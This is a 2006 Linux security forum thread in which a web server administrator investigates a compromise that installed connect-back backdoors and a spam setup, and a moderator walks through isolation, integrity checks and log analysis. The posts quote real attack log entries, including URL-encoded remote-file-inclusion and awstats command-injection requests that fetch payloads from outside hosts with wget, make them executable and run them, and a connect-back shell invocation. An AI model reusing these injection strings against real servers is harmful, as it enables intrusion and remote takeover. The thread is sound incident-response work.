LinuxQuestions.org
Review your favorite Linux distribution.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices

Reply
 
Search this Thread
Old 01-25-2006, 05:04 AM   #1
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Rep: Reputation: 15
Compromised by "ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE"


I have just noticed that one of my machines (a dedicated web server) has been compromised. In my Apache error log I can see the following:

Code:
sh: index.html: Permission denied
sh: index.htm: Permission denied
sh: config.php: Permission denied
sh: cd%20/tmp: No such file or directory
sh: wget%20www.exploits.pop.com.br/b/cgi: No such file or directory
sh: chmod%20777%20cgi: command not found
sh: ./cgi: No such file or directory
sh: cd%20/tmp: No such file or directory
sh: %20cgi: Permission denied
sh: chmod%20777%20cgi: command not found
sh: ./cgi: No such file or directory
Usage: GET [-options] <url>...
    -m <method>   use method for the request (default is 'GET')
    -f            make request even if GET believes method is illegal
    -b <base>     Use the specified URL as base
    -t <timeout>  Set timeout value
    -i <time>     Set the If-Modified-Since header on the request
    -c <conttype> use this content-type for POST, PUT, CHECKIN
    -a            Use text mode for content I/O
    -p <proxyurl> use this as a proxy
    -P            don't load proxy settings from environment
    -H <header>   send this HTTP header (you can specify several)

    -u            Display method and URL before any response
    -U            Display request headers (implies -u)
    -s            Display response status code
    -S            Display response status chain
    -e            Display response headers
    -d            Do not display content
    -o <format>   Process HTML content in various ways

    -v            Show program version
    -h            Print this message

    -x            Extra debugging output
sh: cd%20/tmp: No such file or directory
sh: wget%20www.exploits.pop.com.br/b/cgi: No such file or directory
sh: chmod%20777%20cgi: command not found
sh: ./cgi: No such file or directory
sh: cd%20/tmp: No such file or directory
sh: %20cgi: Permission denied
sh: chmod%20777%20cgi: command not found
sh: ./cgi: No such file or directory
--02:24:45--  http://www.exploits.pop.com.br/b/cgi
           => `cgi'
Resolving www.exploits.pop.com.br... 200.175.8.153
Connecting to www.exploits.pop.com.br|200.175.8.153|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17,855 (17K) [text/plain]

    0K .......... .......                                    100%   22.36 KB/s

02:25:02 (22.36 KB/s) - `cgi' saved [17855/17855]

--03:33:16--  http://paginas.terra.com.br/arte/system/dc.txt
           => `dc.txt'
Resolving paginas.terra.com.br... 200.176.3.141
Connecting to paginas.terra.com.br|200.176.3.141|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,040 (2.0K) [text/plain]

    0K .                                                     100%   13.06 MB/s

03:33:32 (13.06 MB/s) - `dc.txt' saved [2040/2040]
And then also various entries like this:

Code:
--05:33:57--  http://geocities.yahoo.com.br/les4do/lsd20.txt
           => `lsd20.txt'
Resolving geocities.yahoo.com.br... 66.218.77.68
Connecting to geocities.yahoo.com.br|66.218.77.68|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,217 (19K) [text/plain]

    0K .......... ........                                   100%   49.87 KB/s

05:34:07 (49.87 KB/s) - `lsd20.txt' saved [19217/19217]

--06:38:09--  http://paginas.terra.com.br/arte/system/dc.txt
           => `dc.txt.2'
Resolving paginas.terra.com.br... 200.176.3.141
Connecting to paginas.terra.com.br|200.176.3.141|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,040 (2.0K) [text/plain]

    0K .                                                     100%  194.55 MB/s

06:38:25 (194.55 MB/s) - `dc.txt.2' saved [2040/2040]

sh: line 1: 19685 Killed                  perl dc.txt 201.1.8.175 300
I think the last line is me killing a process called "cgi" when I shutdown Apache and couldn't restart it cos something was still listening on port 80

I then checked in /tmp and noticed various files in there that shouldn't be there - such as
  • spam/ (contains text files for an HTML email and huge numbers of Brazilian email addresses)
  • psybnc/ (contains contents of psybnc.tgz)
  • psybnc.tgz
  • cgi (loads of binary code plus some Javascript functions)
  • lsd20.txt (a perl script)
  • dc.txt (a perl script)

Inside the dc.txt file there's the following line, which I presume is the signature line of this exploit:
Code:
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
Now obviously I need to remove this exploit, and shut the hole that they used to get in with.

All I've done so far is tar up the contents of /tmp for future reference before nuking everything.

I don't run PostNuke, but one of my users was running an old version of Wordpress which I'm pulling offline right now.

Presuming that they gained access via a PHP script, how do I go about finding out which one, and plugging this hole?

Any advice appreciated.
 
Old 01-25-2006, 06:03 AM   #2
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,140
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
I would suggest first saving a full process and network connections listing, then route/firewall it to make sure all network access is denied except for your management IP/range. Restart sshd and watch for rogue processes/errors. This should leave only you with only ssh access to the box by which you have isolated the situation which is a good starting point for a more thorough check. Check any adjacent boxen for same/similar specs and repeat.

I'll write more when I get back. BTW, the cgi was the PsychoPhobia Backdoor. Who where the files owned by?
 
Old 01-25-2006, 06:14 AM   #3
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
Thanks for your reply.

Before I nuked the contents of /tmp I made a tarball of the contents. However, unfortunately I forgot the -p flag so the permissions won't have been preserved. However, I remember that most of the files were owned by the "apache" user, but I definitely saw one of the offending files was owned by root, but I can't remember which one.

This is a dedicated server running public-facing websites. Presumably when you say "firewall it to make sure all network access is denied except for your management IP/range" you mean for all the services, including the web and mail servers, effectively taking the server down from public access. So I'm going to have to inform the clients of the downtime....

Could you tell me how you would "save a full process and network connections listing" - do you mean using ps and/or netstat?

And why restart sshd? To kick out any login shells that are running that I don't know about?

Thanks
 
Old 01-25-2006, 07:58 AM   #4
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,140
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
Before I nuked the contents of /tmp I made a tarball of the contents. However, unfortunately I forgot the -p flag so the permissions won't have been preserved.
I thought tar by default kept permissions?..


However, I remember that most of the files were owned by the "apache" user, but I definitely saw one of the offending files was owned by root, but I can't remember which one.
OK.


This is a dedicated server running public-facing websites. Presumably when you say "firewall it to make sure all network access is denied except for your management IP/range" you mean for all the services, including the web and mail servers, effectively taking the server down from public access. So I'm going to have to inform the clients of the downtime.
Unfortunately so. How they got in remains to be seen, but the fact they got in and left a backdoor is enough "evidence" to isolate the box so they can't use it for anything anymore.

You could try and minimise downtime for some services like SMTP/IMAP if you have a CLEAN spare server to migrate services to. You could even speed it up if you have a backup, but I'm kinda hesitant to offer a full restore as advice unless you have a fix on the date/time the compromise ocurred and can verify the backup is onehundred percent safe, clean. If any service depends on MySQL, be sure to check first if no users where added you can't verify are customers.


Could you tell me how you would "save a full process and network connections listing" - do you mean using ps and/or netstat?
First of all stuff below isn't onehundred percent "right": any tampering (good or bad) with a (suspected) compromised host isn't good because any action will taint the system, any output could be tainted (trojaned binaries) or even trigger unwanted action. The only remedy would be to boot from a LiveCD like FIRE or KNOPPIX, mount the partitions read-only and then dissect. That's a trade-off because then you won't get any listings of live processes. If this is a colo box you can't boot a LiveCD anyway. If this is a local box you could mount a cdr and use those binaries as a precaution. I'd use "\ps axfwwwe | tee -a log", "\netstat -panel | tee -a log", "lsof -n | tee -a log" and "cat /proc/modules | tee -a log", if you've got . If you want us to look at it please tarball it and post a D/L location (might be a bit too much to post) else mail me the D/L loc and I'll have a look.


And why restart sshd? To kick out any login shells that are running that I don't know about?
Basically to see if it functions alright yes. Please check every user is gone and recheck opened ports.


Could you give us some info on the box itself: O.S. vendor, release, running network daemons, databases + versions, same for interpreters? If your system is RPM-based this is a good time to run "rpm-Va". Same if you previously installed Chkrootkit, Rootkit Hunter, Tiger or any filesystem integrity checking apps like Aide, Samhain or even tripwire.
 
Old 01-25-2006, 08:37 AM   #5
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
The system is Federa Core 4 running under a Xen host, so it's a virtual machine. It runs about 10 web sites, with http(s), pop3(s), imap(s), spamd, ftp, sshd and mysqld v4.1, dovecot, postfix, Apache 2.0, pure-ftpd.

I have backups of all the databases and home directories, and have also got copies of the important system configuration files. My ISP could simply delete the virtual machine, and recreate a new one from their disk image. I have documented the steps involved in setting it up, and could get it back up and running inside a couple of hours I think. Would this be the easiest way forward, rather than trying to sanitise the entire system?

Tar doesn't appear to have kept the permissions - I created the tarball with "tar -czvf ~hack.tgz" and scp'd it to my local machine and unpacked it there with "tar -xzvpf hack.tgz" and all the files are owned by my own user account.

The suspect files I described in /tmp - some of them had been there since December 15th, whereas others had only been installed yesterday. However, the only noticeable effect of this intrusion has been the deluge of spam being sent from the server, and this only started 2 days ago on the 23rd Jan. So why it was compromised and then left for over a month I do not know. None of them web sites have been defaced either.

I've just installed RootKitHunter and it seems to be reporting a clean system. Will this return valid results if it's only installed after the intrusion has occurred?

I've run the commands you specified - I can't see anything untoward in the output. I've emailed you the download location of the log file generated.

I've also restarted sshd and when I run w or who it's only showing me logged in.

So how do I go about tracking down HOW they gained access to the system - obviously if I re-create the system from scratch I don't want to leave the same door open !!

Thanks for your help with all this - I'm really grateful.
 
Old 01-25-2006, 09:41 AM   #6
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
I've now installed chkrootkit and rootkithunter. Both seem to think there's nothing untoward going on.

Chkrootkit reports only an issue with
Code:
/usr/lib/perl5/5.8.6/i386-linux-thread-multi/.packlist
And Rootkithunter is only flagging up

Code:
* Filesystem checks
   Checking /dev for suspicious files...                      [ OK ]
   Scanning for hidden files...                               [ Warning! ]
---------------
 /dev/.udevdb /etc/.pwd.lock
---------------
Please inspect:  /dev/.udevdb (directory)
However, I don't think these are anything to worry about.
 
Old 01-25-2006, 10:03 AM   #7
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,140
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
I've run the commands you specified - I can't see anything untoward in the output. I've emailed you the download location of the log file generated.
Thanks for the process, connection and lsof logs. While you can only see argv[0] names, they don't look suspicious, but running "rpm -Va" should confirm that (caveat emptor wrt RPM database integrity and out-of-scope files: that's exactly the argument for running a filesystem integrity checker).


The system is Federa Core 4 running under a Xen host
Congrats on the virtualization part. OT the FC4 part wouldn't be my cup of tea: I'd trade it in for something less bleeding edge.


I have documented the steps involved in setting it up,
Good work.


and could get it back up and running inside a couple of hours I think. Would this be the easiest way forward, rather than trying to sanitise the entire system?
It simply is a case of "guilty until proven innocent": if you take the fact someone set up a backdoor I would not be able to trust the system period. To be able to counter this you *must* have means to unquestionably prove the systems' sanity. This takes much time and so usually we forego timeconsuming forensics (and whose results can't be guaranteed) and advice people to repartition, reformat, reinstall from scratch (obviously the first two R's don't have meaning wrt virtualization).


Tar doesn't appear to have kept the permissions
"zcat hack.tgz|tar -t"


However, the only noticeable effect of this intrusion has been the deluge of spam
With emphasis on "noticeable".


why it was compromised and then left for over a month I do not know.
Anything I say would be speculation, I try to deal only with facts.


I've just installed RootKitHunter and it seems to be reporting a clean system. Will this return valid results if it's only installed after the intrusion has occurred?
OK. See previous remark about tainting the system and trojaned binaries. Next to that RKH doesn't install modules to check the kernels functioning (Samhain, StMichael, etc, etc) or use "deep analysis" tools, so while it is a worthy tool YMMV.


So how do I go about tracking down HOW they gained access to the system - obviously if I re-create the system from scratch I don't want to leave the same door open !!
- Run "rpm -Va"
- Start by checking your system and daemon logs for anomalies.
- Use "grep httpd /var/log/rpmpkgs" to get the package+version tag. You'll need it to check for flaws/vulns. Don't forget PHP/Perl/Python and any related (web-based) applications.
- Grep your httpd access and error logs for any GET that includes some iteration of "cd%20/tmp", "wget%20" and "http".
BTW, was the system running under SELinux or was it disabled?


/usr/lib/perl5/5.8.6/i386-linux-thread-multi/.packlist
Not a problem. For completeness sake:
rpm -qf /usr/lib/perl5/5.8.6/i386-linux-thread-multi/.packlist erl-something
rpm -V --noscripts perl-something | grep packlist


However, I don't think these are anything to worry about.
While verification is (always!) better then just any answer it most likely is a false positive.
 
Old 01-25-2006, 10:35 AM   #8
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
Here is the output of "RPM -Va"

Code:
prelink: /usr/lib/libpanel.so.5.4: at least one of file's dependencies has changed since prelinking
S.?.....    /usr/lib/libpanel.so.5.4
S.5....T    /usr/share/system-switch-mail/functions.pyc
S.5....T    /usr/share/system-switch-mail/switchmail_tui.pyc
Unsatisfied dependencies for squirrelmail-1.4.4-2.noarch: httpd, php >= 4.0.4
missing   c /etc/httpd/conf.d/squirrelmail.conf
S.5....T  c /etc/squirrelmail/config.php
S.5....T  c /etc/diskcheck.conf
prelink: /usr/lib/libmysqlclient.so.14.0.0: prelinked file was modified
S.?.....    /usr/lib/libmysqlclient.so.14.0.0
S.5....T  c /etc/yum.repos.d/fedora.repo
S.5....T  c /etc/logrotate.conf
S.5....T  c /root/.bashrc
S.5....T  c /etc/syslog.conf
.M......    /etc/postfix/TLS_LICENSE
S.5....T  c /etc/postfix/header_checks
S.5....T  c /etc/postfix/main.cf
S.5....T  c /etc/postfix/master.cf
S.5....T  c /etc/postfix/virtual
S.5....T  c /etc/pure-ftpd/pure-ftpd.conf
....L...  c /etc/localtime
S.5....T  c /etc/aliases
S.5....T  c /etc/bashrc
S.5....T  c /etc/profile
Unsatisfied dependencies for webalizer-2.01_10-28.i386: webserver
S.5....T  c /etc/cron.daily/00webalizer
S.5....T  c /etc/webalizer.conf
......G.  d /usr/share/man/man1/msql2mysql.1.gz
......G.  d /usr/share/man/man1/mysql.1.gz
......G.  d /usr/share/man/man1/mysqlaccess.1.gz
......G.  d /usr/share/man/man1/mysqladmin.1.gz
......G.  d /usr/share/man/man1/mysqlbinlog.1.gz
......G.  d /usr/share/man/man1/mysqlcheck.1.gz
......G.  d /usr/share/man/man1/mysqldump.1.gz
......G.  d /usr/share/man/man1/mysqlimport.1.gz
......G.  d /usr/share/man/man1/mysqlshow.1.gz
missing     /lib/tls
missing     /media
missing     /usr/lib/tls
......G.    /var/spool/mail
......G.    /bin/mail
S.5....T  c /etc/yum.conf
......G.  d /usr/share/man/man1/mysql_config.1.gz
missing     /lib/tls/i486/libdb-4.3.so
missing     /lib/tls/i586/libdb-4.3.so
missing     /lib/tls/i686/libdb-4.3.so
missing     /usr/lib/tls/i486/libdb-4.3.so
missing     /usr/lib/tls/i486/libdb_cxx-4.3.so
missing     /usr/lib/tls/i586/libdb-4.3.so
missing     /usr/lib/tls/i586/libdb_cxx-4.3.so
missing     /usr/lib/tls/i686/libdb-4.3.so
missing     /usr/lib/tls/i686/libdb_cxx-4.3.so
......G.    /usr/bin/lockfile
......G.    /usr/bin/procmail
......G.    /var/cache/man/X11R6
......G.    /var/cache/man/X11R6/cat1
......G.    /var/cache/man/X11R6/cat2
......G.    /var/cache/man/X11R6/cat3
......G.    /var/cache/man/X11R6/cat4
......G.    /var/cache/man/X11R6/cat5
......G.    /var/cache/man/X11R6/cat6
......G.    /var/cache/man/X11R6/cat7
......G.    /var/cache/man/X11R6/cat8
......G.    /var/cache/man/X11R6/cat9
......G.    /var/cache/man/X11R6/catn
......G.    /var/cache/man/cat1
......G.    /var/cache/man/cat2
......G.    /var/cache/man/cat3
......G.    /var/cache/man/cat4
......G.    /var/cache/man/cat5
......G.    /var/cache/man/cat6
......G.    /var/cache/man/cat7
......G.    /var/cache/man/cat8
......G.    /var/cache/man/cat9
......G.    /var/cache/man/catn
......G.    /var/cache/man/local
......G.    /var/cache/man/local/cat1
......G.    /var/cache/man/local/cat2
......G.    /var/cache/man/local/cat3
......G.    /var/cache/man/local/cat4
......G.    /var/cache/man/local/cat5
......G.    /var/cache/man/local/cat6
......G.    /var/cache/man/local/cat7
......G.    /var/cache/man/local/cat8
......G.    /var/cache/man/local/cat9
......G.    /var/cache/man/local/catn
S.5....T  c /etc/lvm/lvm.conf
......G.  c /etc/pam.d/atd
.....UG.    /var/spool/at
.....UG.    /var/spool/at/spool
......G.    /usr/bin/minicom
prelink: /usr/lib/libstdc++.so.5.0.7: at least one of file's dependencies has changed since prelinking
S.?.....    /usr/lib/libstdc++.so.5.0.7
S.5....T  c /etc/mail/spamassassin/local.cf
S.5....T  c /etc/sysconfig/spamassassin
S.5....T  c /etc/logrotate.d/mysql
......G.  d /usr/share/man/man1/isamchk.1.gz
......G.  d /usr/share/man/man1/isamlog.1.gz
......G.  d /usr/share/man/man1/myisamchk.1.gz
......G.  d /usr/share/man/man1/myisamlog.1.gz
......G.  d /usr/share/man/man1/myisampack.1.gz
......G.  d /usr/share/man/man1/mysql.server.1.gz
......G.  d /usr/share/man/man1/mysql_fix_privilege_tables.1.gz
......G.  d /usr/share/man/man1/mysql_zap.1.gz
......G.  d /usr/share/man/man1/mysqld.1.gz
......G.  d /usr/share/man/man1/mysqld_multi.1.gz
......G.  d /usr/share/man/man1/mysqld_safe.1.gz
......G.  d /usr/share/man/man1/mysqlhotcopy.1.gz
......G.  d /usr/share/man/man1/pack_isam.1.gz
......G.  d /usr/share/man/man1/perror.1.gz
......G.  d /usr/share/man/man1/replace.1.gz
......G.  d /usr/share/man/man1/safe_mysqld.1.gz
S.5....T  c /etc/ssh/sshd_config
Now out of the above, it seems the MySQL installation has been highlighted - I installed this using RPM's from MySQL and not from Fedora repositories. However, I'm not sure why the libstdc++ and libpanel errors have occurred - do you think this is a cause for concern?

Also, the missing dependencies for webalizer are caused by me using the --nodeps option when installing it, as I have httpd, php, pure-ftpd and dovecot daemons compiled from source and not rpm based.
 
Old 01-25-2006, 10:54 AM   #9
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
I know FC4 is too bleeding edge for this kind of server, but it seems to do fine for a cut-down web server without X and with most of the packages removed. The virtualization aspect is my way of keeping down costs, but the Xen host machine isn't managed by me but my ISP.

Your advice seems to be that it would be easiest simply to rebuild the system. The problem with this is that if I follow my detailed setup documentation again, it's likely that I'll be left with the same vulnerability that I don't yet know what is. So presumably I should try and nail down the vulnerability before I do anything, and seeing as all the services are running ok and the machine isn't sending out a ton of spam then I can take a little time to do this. I might even use this as an opportunity to move accounts off onto a new server (as the current one doesn't perform too well due to the virtualisation overhead).

I'm running Apache/2.0.55, MySQL 4.1.16 which are the latest releases, and have religiously kept all the RPM packages up to date as updates are released.

By the way, if I had been running Apache in a chrooted jail, would this mean I would be able to simply delete the jail and replace it with a copy I'd made from when I knew the system was clean? i.e. limit the intrusion to the chroot, and then simply remove and replace without affecting the rest of the OS ?

In the httpd error logs I have entries such as this:

Code:
sh: index.html: Permission denied
sh: index.htm: Permission denied
sh: config.php: Permission denied
sh: cd%20/tmp: No such file or directory
sh: wget%20www.exploits.pop.com.br/b/cgi: No such file or directory
sh: chmod%20777%20cgi: command not found
sh: ./cgi: No such file or directory
sh: cd%20/tmp: No such file or directory
sh: %20cgi: Permission denied
sh: chmod%20777%20cgi: command not found
sh: ./cgi: No such file or directory
But how on earth do shell commands end up in the Apache log file? This bit I just don't understand. Could you enlighten me at all?

Also, in the httpd access log I have loads of entries that look like this:

Code:
203.66.114.129 - - [25/Jan/2006:03:59:04 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo|  HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
However, awstats doesn't exist on my system although it seems to be targetting it. Is it possible to gain access to a system via an HTTP request for a file that doesn't even exist?

In fact, all the dubious entries in the httpd access and error log files are for the main server configuration, rather than any of the virtual hosts I operate, but the thing is the main server document root doesn't contain any applications or scripts - just an index.php file that contains an <h1> title.

Last edited by benr77; 01-25-2006 at 10:57 AM.
 
Old 01-25-2006, 11:43 AM   #10
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,140
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
it seems the MySQL installation has been highlighted (...) do you think this is a cause for concern?
Basically you're only looking for sum mismatches. Then a stat of the file reveals changes ocurred before, on or after the date of compromise so you can discard some.


Your advice seems to be that it would be easiest simply to rebuild the system.
Yes.


The problem with this is that if I follow my detailed setup documentation again, it's likely that I'll be left with the same vulnerability that I don't yet know what is.
I think it's clear stuff should be changed before allowing public access again, but from what I've seen so far I haven't been able to draw any conclusions, so no recommendations yet.


So presumably I should try and nail down the vulnerability before I do anything,
That's what you're working on...


I'm running Apache/2.0.55, MySQL 4.1.16 which are the latest releases, and have religiously kept all the RPM packages up to date as updates are released.
...except httpd, php, pure-ftpd and dovecot where compiled from source which means no yum, apt-get or autoupdate will alert you on new releases. Please check all mentioned apps/versions (see prev post).


By the way, if I had been running Apache in a chrooted jail, would this mean I would be able to simply delete the jail and replace it with a copy I'd made from when I knew the system was clean? i.e. limit the intrusion to the chroot, and then simply remove and replace without affecting the rest of the OS ?
Yes.


In the httpd error logs I have entries such as this: (..) But how on earth do shell commands end up in the Apache log file?
Simply said apps sometimes allow you ways to sneak in commands. Hosters should harden boxen and services but flawed programming often is at the base of this problem: programmers forgetting to *never* trust user input.


Also, in the httpd access log I have loads of entries that look like this: (..) However, awstats doesn't exist on my system although it seems to be targetting it. Is it possible to gain access to a system via an HTTP request for a file that doesn't even exist?
Bit of luck there: if it doesn't exist it's not exploitable.


In fact, all the dubious entries in the httpd access and error log files are for the main server configuration, rather than any of the virtual hosts I operate, but the thing is the main server document root doesn't contain any applications or scripts - just an index.php file that contains an <h1> title.
OK. What applications+versions do your customers run?
 
Old 01-25-2006, 12:30 PM   #11
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
Once again thanks for your help

I am subscribed to the various announce lists for the software that I have built from source, so as to be able to keep those up to date as well as the software that is installed from RPMs.

One of my users was running an older version of Wordpress, which I know had some reported vulnerabilities - a single candidate entry in this vhosts logs is:
Code:
213.219.122.11 - - [24/Jan/2006:02:05:06 +0000] "GET / HTTP/1.0" 200 33 "-" "Wget/1.9.1"
In the main server access log there were several entries like this one, except they all referred to files that didn't exist, whereas this one refers to /index.php which does exist:
Code:
213.176.147.20 - - [23/Jan/2006:13:52:05 +0000] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.203.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo|  HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
In the same log file I've also seen entries like this:
Code:
210.17.191.242 - - [25/Jan/2006:00:01:14 +0000] "PUT http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:14 +0000] "POST http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:15 +0000] "PUT http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:15 +0000] "POST http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:15 +0000] "PUT http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:17 +0000] "PUT http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:18 +0000] "PUT http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:18 +0000] "POST http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:19 +0000] "PUT http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
210.17.191.242 - - [25/Jan/2006:00:01:19 +0000] "POST http://205.158.62.146:25/ HTTP/1.0" 200 28 "-" "-"
I think the original intrusion was on 15th December, but unfortunately my log files only go back 4 weeks so I can't extract entries from that far back.

Do the entries I've put in this post give you any clues?

I do run phpMyAdmin but that's on the SSL virtual host and is password protected. Most of the web sites are PHP sites, but none of them make any system calls as far as I know. There are also 2 instances of DadaMail which is a perl based mailing list system. Plus the old copy of Wordpress that I mentioned earlier. So far I don't see any reason to suspect any of these apps (I'd be happy to be proved wrong however!!)

selinux is disabled on this system. It has always seemed to cause too many issues with other things.
 
Old 01-25-2006, 12:36 PM   #12
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
I am running PHP 4.4.1. Version 4.4.2 was released on the 13th January, which claims to be a security release to fix the following issues:

* Prevent header injection by limiting each header to a single line.
* Possible XSS inside error reporting functionality.
* Missing safe_mode/open_basedir checks into cURL extension.
* Apache 2 regression with sub-request handling on non-Linux systems.
* key() and current() regression related to references.

Are these possibly to do with the type of expoit my server is suffering from? I'd have thought the first 2 bugs might be relevant, but I just don't know enough about it etc
 
Old 01-25-2006, 04:13 PM   #13
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,140
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
In the main server access log there were several entries like this one, except they all referred to files that didn't exist, whereas this one refers to /index.php which does exist: &mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.203.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo| HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"
And there you have it: a way to sneak in commands...
Any chance of correllating logs with "/tmp/sexy" or other downloaded stuff?


Most of the web sites are PHP sites, but none of them make any system calls as far as I know. (..) So far I don't see any reason to suspect any of these apps (I'd be happy to be proved wrong however!!)
IANAC, but the attempt above should ./hair --raise.


Are these possibly to do with the type of expoit my server is suffering from? I'd have thought the first 2 bugs might be relevant, but I just don't know enough about it etc
AFAIK not from what you've shown already: it's not PHP itself but the applications that allow the attempts to happen.
 
Old 01-26-2006, 03:59 AM   #14
benr77
Member
 
Registered: Sep 2004
Location: London, UK
Distribution: Fedora Core 4
Posts: 59

Original Poster
Rep: Reputation: 15
This is exactly the issue that I don't understand. The statement you have highlighted in the above post is clearly an attempt to compromise the server, this I can plainly see.

However, there are lots of entries in the log file that are like this, but they are targetted at files that don't exist on the server (e.g. /awstats.pl or /wordpress/xml-rpc.php). So if these files don't exist (because these applications aren't installed), then these attacks are of no threat. Fine.

So there was a case of an attack like you have highlighted above, to a file that does exist. This file is /index.php and it contains the following code:

Code:
<?
  echo "<h1>server.headsnet.com</h1>";
  #phpinfo();
?>
And the GET request used to create the intrusion was likely to be this one:

Code:
/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.203.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo|
So what I don't understand is how that GET request can compromise a PHP script that contains only an echo statement. There's no flawed programming in that index.php file, so how was that request able to compromise it? Unless that it, it has exploited a weakness in PHP itself.

Is it literally a clever combination of query string variables that is used to confuse Apache or PHP, and somehow get them to execute the commands contained in the query string?

Thanks for your help.
 
Old 01-26-2006, 05:02 AM   #15
unSpawn
Moderator
 
Registered: May 2001
Posts: 27,140
Blog Entries: 54

Rep: Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791Reputation: 2791
So what I don't understand is how that GET request can compromise a PHP script that contains only an echo statement. There's no flawed programming in that index.php file, so how was that request able to compromise it? Unless that it, it has exploited a weakness in PHP itself. Is it literally a clever combination of query string variables that is used to confuse Apache or PHP, and somehow get them to execute the commands contained in the query string?
No, it can't be compromised that way. To be able to abuse it there usually must exist a condition where for instance globals are on and the ability exist to directly write to vars using some option. I can't explain how I ended up drawing the wrong conclusion as you explained before the main index.php to be free of any scripting. Must have been mental floss. I am however confident that it is the correct entry vector (unless another daemon too writes to /tmp as user apache or human users have the ability to chown files to apache user and group). So if it ain't this script it will be another, but since your logs aren't kept for more than four weeks you'll probably never know. If you have no further questions I think it's time to round this up offering advice about hardening.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Shell Script: Find "Word" Run "Command" granatica Linux - Software 5 07-25-2007 07:42 AM
